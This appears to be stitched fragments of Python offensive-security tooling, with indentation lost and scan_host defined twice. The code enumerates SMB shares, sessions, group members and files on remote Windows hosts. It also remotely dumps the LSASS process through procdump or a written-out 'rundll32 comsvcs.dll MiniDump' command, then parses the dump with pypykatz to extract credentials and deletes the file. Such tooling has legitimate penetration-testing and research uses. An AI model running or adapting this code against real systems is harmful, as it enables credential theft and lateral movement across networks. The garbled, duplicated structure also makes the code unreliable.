if args.cmd in ['lsass', 'all']:
if con_folder is not None:
lsass_folder = con_folder.joinpath('lsass')
lsass_folder.mkdir(parents=True, exist_ok=True)
#checking is procdump is available
if Path(args.bin_folder).joinpath(
'procdump.exe').exists() is False:
logger.error(
'[-] Could not locate procdump binaries! Please specify the correct folder where procdump bins are located!'
)
else:
_, err = await smb_task_lsass(
machine,
lsass_folder,
procdump_local_path=args.bin_folder)
if err is not None:
logger.error(format_tb(err))
if con_folder is not None:
with open(lsass_folder.joinpath('error.txt'),
'w') as f:
f.write(
'Error during LSASS operation! \r\n Error text: \r\n%s'
% str(err))
await out_q.put(1)
except Exception as e:
logger.exception('[-] Worker died! Reason: %s' % str(e))
return
async def scan_host(self, atarget):
try:
tid, target = atarget
connection = self.smb_mgr.create_connection_newtarget(target)
async with connection:
_, err = await connection.login()
if err is not None:
raise err
machine = SMBMachine(connection)
if 'all' in self.gather or 'shares' in self.gather:
async for smbshare, err in machine.list_shares():
if err is not None:
await self.out_q.put(
(tid, connection.target, None,
'Failed to list shares. Reason: %s' %
format_exc(err)))
break
else:
share = NetShare()
share.machine_sid = tid
share.ip = connection.target.get_ip()
share.netname = smbshare.name
share.type = smbshare.type
await self.out_q.put(
(tid, connection.target, share, None))
if 'all' in self.gather or 'sessions' in self.gather:
async for session, err in machine.list_sessions():
if err is not None:
await self.out_q.put(
(tid, connection.target, None,
'Failed to get sessions. Reason: %s' %
format_exc(err)))
break
else:
try:
sess = NetSession()
sess.machine_sid = tid
sess.source = connection.target.get_ip()
sess.ip = session.ip_addr.replace('\\',
'').strip()
sess.username = session.username
await self.out_q.put(
(tid, connection.target, sess, None))
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to format session. Reason: %s' %
format_exc(e)))
if 'all' in self.gather or 'localgroups' in self.gather:
for group_name in self.localgroups:
async for domain_name, user_name, sid, err in machine.list_group_members(
'Builtin', group_name):
if err is not None:
await self.out_q.put((
tid, connection.target, None,
'Failed to poll group memeberships. Reason: %s'
% format_exc(err)))
break
else:
lg = LocalGroup()
lg.machine_sid = tid
lg.ip = connection.target.get_ip()
lg.hostname = connection.target.get_hostname()
lg.sid = sid
lg.groupname = group_name
lg.domain = domain_name
lg.username = user_name
await self.out_q.put(
(tid, connection.target, lg, None))
if 'all' in self.gather or 'regsessions' in self.gather:
users, err = await machine.reg_list_users()
if err is not None:
await self.out_q.put(
(tid, connection.target, None,
'Failed to get sessions. Reason: %s' %
format_exc(err)))
else:
try:
for usersid in users:
if usersid in self.regusers_filter:
continue
if usersid.find('_') != -1:
continue
sess = RegSession()
sess.machine_sid = tid
sess.user_sid = usersid
await self.out_q.put(
(tid, connection.target, sess, None))
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to format session. Reason: %s' %
format_exc(e)))
if 'all' in self.gather or 'interfaces' in self.gather:
interfaces, err = await machine.list_interfaces()
if err is not None:
await self.out_q.put(
(tid, connection.target, None,
'Failed to get interfaces. Reason: %s' %
format_exc(err)))
else:
try:
for interface in interfaces:
iface = SMBInterface()
iface.machine_sid = tid
iface.address = interface['address']
await self.out_q.put(
(tid, connection.target, iface, None))
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to format interface. Reason: %s' %
format_exc(e)))
if 'all' in self.gather or 'share_1' in self.gather:
ctr = self.share_max_files
maxerr = 10
async for obj, otype, err in machine.enum_all_recursively(
depth=1, fetch_share_sd=False, fetch_dir_sd=True):
otype = otype.lower()
ctr -= 1
if ctr == 0:
break
if err is not None:
await self.out_q.put((
tid, connection.target, None,
'Failed to perform first-level file enum. Reason: %s'
% format_exc(err)))
break
else:
try:
if otype == 'share':
continue
if otype in ['file', 'dir']:
sf = SMBFile()
sf.machine_sid = tid
sf.unc = obj.unc_path
sf.otype = otype
sf.creation_time = obj.creation_time
sf.last_access_time = obj.last_access_time
sf.last_write_time = obj.last_write_time
sf.change_time = obj.change_time
if obj.security_descriptor is not None and obj.security_descriptor != '':
sf.sddl = obj.security_descriptor.to_sddl(
)
if otype == 'file':
sf.size = obj.size
sf.size_ext = sizeof_fmt(sf.size)
await self.out_q.put(
(tid, connection.target, sf, None))
except Exception as e:
maxerr -= 1
await self.out_q.put(
(tid, connection.target, None,
'Failed to format file result. Reason: %s'
% format_exc(e)))
if maxerr == 0:
await self.out_q.put((
tid, connection.target, None,
'File Results too many errors. Reason: %s'
% format_exc(e)))
break
try:
if 'all' in self.gather or 'finger' in self.gather:
connection = self.smb_mgr.create_connection_newtarget(
target)
extra_info, err = await connection.fake_login()
if extra_info is not None:
f = SMBFinger.from_fake_login(tid,
extra_info.to_dict())
await self.out_q.put((tid, connection.target, f, None))
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to get finger data. Reason: %s' % format_exc(e)))
try:
if 'all' in self.gather or 'protocols' in self.gather:
for protocol in self.protocols:
connection = self.smb_mgr.create_connection_newtarget(
target)
res, _, _, _, err = await connection.protocol_test(
[protocol])
if err is not None:
raise err
if res is True:
pr = SMBProtocols()
pr.machine_sid = tid
pr.protocol = protocol.name if protocol != NegotiateDialects.WILDCARD else 'SMB1'
await self.out_q.put(
(tid, connection.target, pr, None))
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to enumerate supported protocols. Reason: %s' %
format_exc(e)))
except asyncio.CancelledError:
return
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to connect to host. Reason: %s' % format_exc(e)))
return
finally:
await self.out_q.put(
(tid, connection.target, None, None)) #target finished
async def scan_host(self, atarget):
try:
tid, target = atarget
#spneg = AuthenticatorBuilder.to_spnego_cred(self.credential, target)
connection = self.smb_mgr.create_connection_newtarget(target)
async with connection:
await connection.login()
extra_info = connection.get_extra_info()
if extra_info is not None:
try:
f = SMBFinger.from_extra_info(tid, extra_info)
await self.out_q.put((tid, connection.target, f, None))
except:
traceback.print_exc()
machine = SMBMachine(connection)
if 'all' in self.gather or 'shares' in self.gather:
async for smbshare, err in machine.list_shares():
if err is not None:
await self.out_q.put(
(tid, connection.target, None,
'Failed to list shares. Reason: %s' %
format_exc(err)))
continue
share = NetShare()
share.machine_sid = tid
share.ip = connection.target.get_ip()
share.netname = smbshare.name
share.type = smbshare.type
r = None
try:
r = smbshare.remark.decode()
except:
r = smbshare.remark
share.remark = r
await self.out_q.put(
(tid, connection.target, share, None))
if 'all' in self.gather or 'sessions' in self.gather:
async for session, err in machine.list_sessions():
if err is not None:
await self.out_q.put(
(tid, connection.target, None,
'Failed to get sessions. Reason: %s' %
format_exc(err)))
continue
sess = NetSession()
sess.machine_sid = tid
sess.source = connection.target.get_ip()
sess.ip = session.ip_addr.replace('\\', '').strip()
sess.username = session.username
await self.out_q.put(
(tid, connection.target, sess, None))
if 'all' in self.gather or 'localgroups' in self.gather:
for group_name in self.localgroups:
async for domain_name, user_name, sid, err in machine.list_group_members(
'Builtin', group_name):
if err is not None:
await self.out_q.put((
tid, connection.target, None,
'Failed to connect to poll group memeberships. Reason: %s'
% format_exc(err)))
continue
lg = LocalGroup()
lg.machine_sid = tid
lg.ip = connection.target.get_ip()
lg.hostname = connection.target.get_hostname()
lg.sid = sid
lg.groupname = group_name
lg.domain = domain_name
lg.username = user_name
await self.out_q.put(
(tid, connection.target, lg, None))
except asyncio.CancelledError:
return
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to connect to host. Reason: %s' % format_exc(e)))
return
finally:
await self.out_q.put(
(tid, connection.target, None, None)) #target finished
async def lsassdump_single(targetid,
connection,
method='task',
remote_base_path='C:\\Windows\\Temp\\',
remote_share_name='\\c$\\Windows\\Temp\\',
chunksize=64 * 1024,
packages=['all']):
try:
from aiosmb.commons.exceptions import SMBException
from aiosmb.wintypes.ntstatus import NTStatus
from aiosmb.commons.interfaces.machine import SMBMachine
from pypykatz.alsadecryptor.asbmfile import SMBFileReader
from aiosmb.commons.interfaces.file import SMBFile
from pypykatz.apypykatz import apypykatz
if remote_base_path.endswith('\\') is False:
remote_base_path += '\\'
if remote_share_name.endswith('\\') is False:
remote_share_name += '\\'
fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
filepath = remote_base_path + fname
filesharepath = remote_share_name + fname
if method == 'task':
cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(
filepath)
commands = [cmd]
elif method == 'service':
cmd = ''
else:
raise Exception('Unknown execution method %s' % method)
mimi = None
async with connection:
logger.debug('[LSASSDUMP][%s] Connecting to server...' % targetid)
_, err = await connection.login()
if err is not None:
raise err
logger.debug('[LSASSDUMP][%s] Connected!' % targetid)
async with SMBMachine(connection) as machine:
if method == 'task':
logger.debug(
'[LSASSDUMP][%s] Start dumping LSASS with taskexec method!'
% targetid)
smbfile_inner, err = await machine.task_dump_lsass()
if err is not None:
raise err
smbfile = SMBFileReader(smbfile_inner)
#logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid)
#logger.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath))
#_, err = await machine.tasks_execute_commands(commands)
#if err is not None:
# raise err
#
#logger.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid)
#for _ in range(5):
# logger.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid)
# await asyncio.sleep(5)
# smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
# _, err = await smbfile.open(connection)
# if err is not None:
# if isinstance(err, SMBException):
# if err.ntstatus == NTStatus.SHARING_VIOLATION:
# logger.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid)
# #await asyncio.sleep(1)
# continue
# raise err
# break
#else:
# raise err
elif method == 'service':
logger.debug(
'[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!'
% targetid)
smbfile_inner, err = await machine.service_dump_lsass()
if err is not None:
raise err
smbfile = SMBFileReader(smbfile_inner)
else:
raise Exception('Unknown execution method %s' % method)
logger.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid)
logger.debug(
'[LSASSDUMP][%s] parsing LSASS dump file on the remote host...'
% targetid)
mimi = await apypykatz.parse_minidump_external(smbfile,
chunksize=chunksize,
packages=packages)
logger.debug('[LSASSDUMP][%s] parsing OK!' % targetid)
logger.debug('[LSASSDUMP][%s] Deleting remote dump file...' %
targetid)
_, err = await smbfile.delete()
if err is not None:
print('[%s] Failed to delete LSASS file! Reason: %s' %
(targetid, err))
else:
print('[%s] Remote LSASS file deleted OK!' % targetid)
return targetid, mimi, None
except Exception as e:
import traceback
traceback.print_exc()
return targetid, None, e
